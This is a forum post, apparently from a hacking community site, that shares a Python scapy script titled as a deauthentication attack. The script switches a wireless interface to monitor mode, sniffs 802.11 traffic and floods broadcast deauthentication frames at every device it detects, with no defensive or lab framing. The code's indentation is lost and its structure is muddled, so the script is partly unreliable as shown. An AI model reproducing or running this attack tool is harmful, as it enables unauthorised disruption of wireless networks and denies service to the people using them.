• 🌙 Community Spirit

    Ramadan Mubarak! To honor this month, Crax has paused NSFW categories. Wishing you peace and growth!

Python script to deauthentication attack (1 Viewer)

Currently reading:
 Python script to deauthentication attack (1 Viewer)

Recently searched:

yohilax951

Member
LV
1
Joined
Dec 20, 2023
Threads
62
Likes
32
Awards
5
Credits
3,814©
Cash
0$
from scapy.all import *
from threading import Thread
import os
import time

interface = "wlan0"
networks = []
clients = []

def sniff_wifi(packet):
if packet.haslayer(Dot11Beacon):
if packet[Dot11Elt].info.decode() not in networks:
networks.append(packet[Dot11Elt].info.decode())
print("Network detected: " + packet[Dot11Elt].info.decode())
elif packet.haslayer(Dot11ProbeResp) and packet[Dot11].addr2 not in clients:
clients.append(packet[Dot11].addr2)
print("Client detected: " + packet[Dot11].addr2)

def jam():
os.system("iwconfig " + interface + " mode monitor")
def deauth_all(packet):
if packet.haslayer(Dot11):
if packet.addr2 not in clients:
clients.append(packet.addr2)
print("Deauthenticating " + packet.addr2)
packet = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=packet.addr2, addr3=packet.addr3)/Dot11Deauth()
sendp(packet, iface=interface, count=100, verbose=0)

sniff(iface=interface, prn=deauth_all)

t = Thread(target=jam)
t.start()

sniff(iface=interface, prn=sniff_wifi, timeout=30)
t.join()
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom